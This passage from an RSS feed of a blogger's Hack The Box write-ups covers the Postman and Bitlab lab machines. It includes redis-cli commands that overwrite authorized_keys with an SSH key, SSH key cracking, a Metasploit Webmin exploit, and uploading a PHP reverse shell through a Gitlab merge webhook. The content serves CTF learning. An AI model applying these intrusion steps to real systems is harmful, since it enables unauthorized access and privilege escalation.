/var/lib/redis/.ssh<br>OK<br>10.10.10.160:6379&gt; config get dir<br>1) “dir”<br>2) “/var/lib/redis/.ssh”</pre><p>I then changed the dbfilename to authorized_keys and saved the SSH key to it. This overwrote the actual file with my SSH key (and maybe some garbage data from redis). One thing to note is that Redis saves data in binary format, but SSH can somehow still find the key from it. I thought this was pretty interesting. (After I gained entry to the system, I tried to check the file, but it was all binary.)</p><pre>10.10.10.160:6379&gt; config set dbfilename &quot;authorized_keys&quot;<br>OK<br>10.10.10.160:6379&gt; save<br>OK</pre><p>I exited redis-cli and tried SSH with the key. As expected, I got the prompt to enter the password for my SSH key. I entered the password and entered the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9TIIvMna2kvDOJYKhYS_rg.png" /></figure><h3>Getting the user flag</h3><p>I did some enumeration to find interesting files. Since Hack The Box always has a user.txt file for the user flag, I used find to look for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sYkzMMadJoywp_LXcdThvQ.png" /></figure><p>However, the file was owned by the user Matt and hence as user redis, I would not be able to read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZBwRtK6OC9uoWtXwCImiA.png" /></figure><p>Therefore, the next step was to gain access to user Matt. For this I did some basic enumeration. After some searching, I found a id_rsa.bak file in /opt. This file was encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3h-R3D2LPjqNaL7L5EXPOA.jpeg" /></figure><p>From earlier CTFs, I knew of John the Ripper that can be used to break encryptions. For SSH keys, there is an additional first step: to convert the key to a format that John can understand. <a href="https://github.com/koboi137/john">ssh2john</a> can help with this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDG6cN7rj8rwLNhbRaYVhQ.png" /></figure><p>I used John with the <a href="https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt">rockyou</a> wordlist to get the password from the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r6R14e9fESYhX698Ji2aeA.png" /></figure><p>During my enumeration, I came across the ssh configuration file and the configuration was set to deny SSH access for user Matt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F7L50zb5E9fnz7C-XNlNNg.png" /></figure><p>So I used su Matt with the password and was able to log in as user Matt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E2BpqerDT3pFSVee6OLNzg.png" /></figure><p>I was now able to read the user.txt</p><h3>Onto the root flag!</h3><p>The credentials for Matt also worked for Webmin, which I had discovered previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3hXxbHeTAAOTSFBY241xjw.png" /></figure><p>I tried to look around here a little bit. From some googling, I found there was a vulnerability <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107">CVE-2019–15107</a> for Webmin which used the password_change.cgi file on the server. I navigated to https://postman:10000/password_change.cgi, but I was greeted with a security warning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*XPFglopWeX8BUvnWTqgobg.jpeg" /></figure><p>This was true for any random URL that I tried to navigate to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1x6r9D__KNkkiDH43lHrA.png" /></figure><p>I tried looking around on the dashboard but I could not find anything interesting. I generally leave Metasploit as a last resort, but I was not able to find anything else, so I turned to Metasploit. Metasploit has an exploit webmin_packageup_rce which can be used to gain root access to the machine. This exploit requires a valid username and password, for which I used Matt’s credentials. I set the options as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zp8wtFOmyrzm1JLN76gzTA.jpeg" /></figure><p>Setting SSL to true is crucial for this exploit as the target site uses SSL. I ran the exploit and was able to get root access to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3B-Dg-abe1xozkVLp_FWUA.png" /></figure><p>Again, using find I was able to find the root.txt file at /root/root.txt.</p><p>I learnt quite a few things with this box, especially about Redis. The box was fairly straightforward as expected from an easy box, but not knowing the workings of Redis made me take a lot more time to complete it. The root exploit seemed very simple, much easier than user. But I might be feeling this way because I cheated and used Metasploit. Anyway, that’s it for this box. Thank you for reading. Any feedback is appreciated!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2093aa6f097" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Bitlab (and some random musings)]]></title>
            <link>https://medium.com/@anuraagbaishya/hack-the-box-bitlab-and-some-random-musings-a8a1aae86cc0?source=rss-56bd95ddcf16------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8a1aae86cc0</guid>
            <dc:creator><![CDATA[Anuraag Baishya]]></dc:creator>
            <pubDate>Sun, 12 Jan 2020 15:37:45 GMT</pubDate>
            <atom:updated>2020-01-12T15:37:45.821Z</atom:updated>
            <content:encoded><![CDATA[<p>As with every new year, this year too I have made a few resolutions. Over the past few years, I have been able to keep a few resolutions. However, as expected, I did not keep most of them. One of my resolutions this year is to write and publish writings here more regularly. Since I now have a Masters degree in cybersecurity, it is possible that a lot of my writings will relate to cybersecurity. As my first piece after a long hiatus, I have decided to post a writeup of the Bitlab machine on Hack The Box. This is highly cliche, I know. I don’t really have exciting bug discoveries or ground breaking research to discuss currently, so this will have to do. Hopefully, the content here will get more interesting with time.</p><p>I did my first box on Hack The Box last January. I started very voraciously, but then school took over my time and hacking the boxes took a backseat. In retrospect, I could have squeezed in enough time to do a box or two every now and then, but I guess I was just too lazy. Another of my resolutions is to do them more often. Let’s see how many resolutions I keep this year!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5YPC6s6xrRPW1BV5lThMaw.png" /></figure><p>Bitlab is a medium Linux machine that involves navigating code repositories and finding interesting pieces of code which can be exploited. It also involves some basic reverse engineering, where taking a software vulnerability analysis class really helped. There is a second way to root this box using git hooks, but I did not use that method and hence I will not cover that here. This was a fun box and I learnt quite a few things from it. Let’s dive into it.</p><h3>NMAP and WFUZZ</h3><p>As always, I started with a NMAP scan of 10.10.10.114. The scan returned ports 22 and 80 open.</p><pre># Nmap 7.80 scan initiated Thu Jan  2 11:56:29 2020 as: nmap -sV --max-retries 1 -v -oA nmap 10.10.10.114<br>Nmap scan report for 10.10.10.114<br>Host is up (0.12s latency).<br>Not shown: 998 filtered ports<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    nginx<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Heading over to 10.10.10.114 I was greeted with a GitLab login, which was of no use to me unless I had credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKSzPQkfYBZJXCddcazI2g.png" /></figure><p>Next, I ran wfuzz to find directories, and I found a few directories.</p><pre>wfuzz -c -w /usr/share/wordlists/dirb/small.txt --hc 404,301,302 <a href="http://10.10.10.114/FUZZ/">http://10.10.10.114/FUZZ/</a></pre><pre>********************************************************<br>* Wfuzz 2.4 - The Web Fuzzer                           *<br>********************************************************</pre><pre>Target: <a href="http://10.10.10.114/FUZZ/">http://10.10.10.114/FUZZ/</a><br>Total requests: 959</pre><pre>===================================================================<br>ID           Response   Lines    Word     Chars       Payload      <br>===================================================================</pre><pre>000000406:   200        15 L     51 W     870 Ch      &quot;help&quot;       <br>000000650:   200        170 L    350 W    4184 Ch     &quot;profile&quot;    <br>000000660:   200        248 L    796 W    13456 Ch    &quot;public&quot;     <br>000000704:   200        307 L    956 W    15730 Ch    &quot;root&quot;       <br>000000722:   200        217 L    765 W    13074 Ch    &quot;search&quot;</pre><p>10.10.10.114/profile showed a static page about a web developer named Clave.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qp7b8K5eh_n7MJSNu2VKpA.png" /></figure><p>The others, except ‘help’ did not seem usable immediately. Some required a login first. Help on the other hand had a link to a bookmarks.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HqcHidKx8zKdidmblF1JEA.png" /></figure><p>Bookmarks had a few links to websites and a ‘Gitlab Login’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PnfX3FjFTyaLG8PAKB6MLQ.png" /></figure><h3>Give me the creds!</h3><p>The Gitlab Login called a javascript function, which I could get from the source of the page.</p><pre>javascript:(function(){ var _0x4b18=[&amp;quot;\x76\x61\x6C\x75\x65&amp;quot;,&amp;quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&amp;quot;,&amp;quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&amp;quot;,&amp;quot;\x63\x6C\x61\x76\x65&amp;quot;,&amp;quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&amp;quot;,&amp;quot;xxxxxxxxxxquot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()</pre><p>This function has been obfuscated with all characters replaced by the hex value of the character. It can be made readable easily, by replacing the hex with the ASCII value. From here, I got a username ‘clave’ and the password</p><pre>valueuser_logingetElementByIdclaveuser_passwordxxxxxxx</pre><p>Using these credentials I was able to login as ‘Developer’ to Gitlab.</p><h3>Exploiting Gitlab hooks</h3><p>Developer is a part of two projects, ‘Profile’ and ‘Deployer’. Profile contained the source code for the profile page hosted at 10.10.10.114/profile. Deployer had a php file containing the following code:</p><pre>&lt;?php</pre><pre>$input = file_get_contents(&quot;php://input&quot;);<br>$payload  = json_decode($input);</pre><pre>$repo = $payload-&gt;project-&gt;name ?? &#39;&#39;;<br>$event = $payload-&gt;event_type ?? &#39;&#39;;<br>$state = $payload-&gt;object_attributes-&gt;state ?? &#39;&#39;;<br>$branch = $payload-&gt;object_attributes-&gt;target_branch ?? &#39;&#39;;</pre><pre>if ($repo==&#39;Profile&#39; &amp;&amp; $branch==&#39;master&#39; &amp;&amp; $event==&#39;merge_request&#39; &amp;&amp; $state==&#39;merged&#39;) {<br>    echo shell_exec(&#39;cd ../profile/; sudo git pull&#39;),&quot;\n&quot;;<br>}</pre><pre>echo &quot;OK\n&quot;;</pre><p>At first, I did not understand very well what this was doing. The repository also had a README that pointed to Gitlab webhooks. After some research, I understood that this is a merge hook. So whenever a branch is merged to master on repo ‘Profile’, a git pull is performed on the server and the code in the server is updated with the new code from the repo. In the Profile repo, I noticed that I was allowed to create a new file or upload a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ypM_iguPsrp0RsF8G-WKuA.png" /></figure><p>Using this I uploaded a php reverse shell from <a href="https://github.com/pentestmonkey/php-reverse-shell">pentestmonkey</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIWvi-_8zWs8c_c4Yvls1g.png" /></figure><p>There is an option to start a new merge request automatically on uploading the file. With that option selected, hitting the upload button results in a merge request being created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1dZ1MgMxizd6t9gDhAnuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PjgDDL8Kp5_RsPHKhrfwpg.png" /></figure><p>I was able to merge this request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Os115nAehANLXs6zOYcyw.png" /></figure><p>After uploading the file, I navigated to 10.10.10.114/profile/php-reverse-shell.php and got a shell as user www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DPPuCYwJq5GToHJ3UFBq0g.png" /></figure><p>I don’t really like the default shells in nc. They have many shortcomings, such as no moving on the line with arrow keys, Ctrl+c breaking out of nc and killing the shell, and su or ssh not recognizing them as proper terminals hence not working. <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">This</a> article explains very well how to get a fully interactive shell on nc. I personally use the last method (upgrading from netcat with magic). (That method only works with bash in my experience, so if you use zsh or some other shell, you might need to shift to bash )</p><h3>Snip snip</h3><p>I poked around the machine using the shell quite a lot but I was not able to find anything out of the ordinary. So I moved back to Gitlab and started looking more into the website. I noticed a ‘snippets’ link, which I had missed earlier. This contained a php code snippet to read data from a postgres database.</p><pre>&lt;?php<br>$db_connection = pg_connect(&quot;host=localhost dbname=profiles user=profiles password=profiles&quot;);<br>$result = pg_query($db_connection, &quot;SELECT * FROM profiles&quot;);</pre><p>I added a few lines to this snippet to output the result after reading from the database. The complete snippet is as shown</p><pre>&lt;?php<br>$db_connection = pg_connect(&quot;host=localhost dbname=profiles user=profiles password=profiles&quot;);<br>$result = pg_query($db_connection, &quot;SELECT * FROM profiles&quot;);<br>while ($row = pg_fetch_row($result)) {<br>  var_dump($row);<br>}</pre><p>I created a file with this code in /tmp and ran it. It returned the username ‘clave’ and a base64 string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*q_PuqfC5SMwPwbNtZnmloQ.png" /></figure><p>I decoded this base64 and got a string, but when I tried to SSH using this, SSH reported an authentication failure. After trying a couple times, I tried the base64 itself and that worked! From there, I could read the user.txt. User owned! I am not completely sure why the password was set like this. I feel the author of the box selected a password and then base64 encoded it to use a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*FoHOlMViIsL5p5EEi9ssvA.jpeg" /></figure><h3>Some Reverse Engineering</h3><p>Along with the user.txt, clave’s home directory also contained a RemoteConnection.exe file. As this was a Windows binary, I had to shift to Windows machine for the next part. I ran the binary using cmd and it said “Access Denied”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8IODv3aSGxZ1FbOoxamLw.png" /></figure><p>So I loaded the binary in <a href="http://www.ollydbg.de/">ollydbg</a> to debug it. This was my first time using ollydbg but I had used Ghidra in the past for reverse engineering, so I had an idea on what to do. I will only briefly go over the steps I took here. There are many resources to learn reverse engineering from and I would suggest you check them out if you are not able to understand the steps.</p><p>The ollydbg interface looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2yrHICcZ2fobdJm7lQkpFw.png" /></figure><p>1 is Step into. This makes the debugger enter the code for each jump. For example, if the jump enters a function, using step into, you can go to the function code and execute the function line by line as well. 2 is Step over. This does not enter any jumps and executes the statement as one line. Continuing with our previous example, in this case the debugger will execute the function as if it is one instruction and will not let you enter the function and execute it line by line. 3 is Trace into. This is used when you don’t want to run every line of the code and want to jump directly to a breakpoint. (a) is the assembly code from decompiling the binary. (b) shows strings as you step through the code.</p><p>To debug the exe, I first manually ran the whole code line by line using step over &amp; step into. When I found the line that prints “Access Denied”, I set a breakpoint there. To set a breakpoint, right click on the line and follow the steps as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YI3sFvhZEJpOkRvQx9ZYvQ.png" /></figure><p>After I set the breakpoint, I used trace into to execute the program till the breakpoint is reached. Then I used step into to enter the jump and then again executed the code line by line, while observing (b) closely. After a lot of steps, I saw an interesting string in (b) that contained a SSH command with a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*QAWvLUxTe4E9BhfuefQBng.png" /></figure><p>I tried using this password to SSH as root to 10.10.10.114 but that did not work. So I added gitlab.htb to /etc/hosts and tried again. This time it worked and I had root access to the machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5Vh-xa-1nf8KnFQPBTTWg.png" /></figure><p>That’s all for this machine. Currently I am doing only the easy and easier medium machines. Hence, there might not be write-ups every week. I will start trying more challenging machines after doing some more simpler machines. I bought a VIP subscription sometime back when I was doing the Traverxec machine (more on that when I publish the write-up for that machine) and hence now I have access to the retired machines as well which should help me prepare for the more challenging active machines. At the time of writing this, my rank at Hack the Box is “Hacker”. My aim for this year is to reach at least “Elite Hacker”. Let’s see how that goes! Thanks for reading. Any feedback is appreciated!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8a1aae86cc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>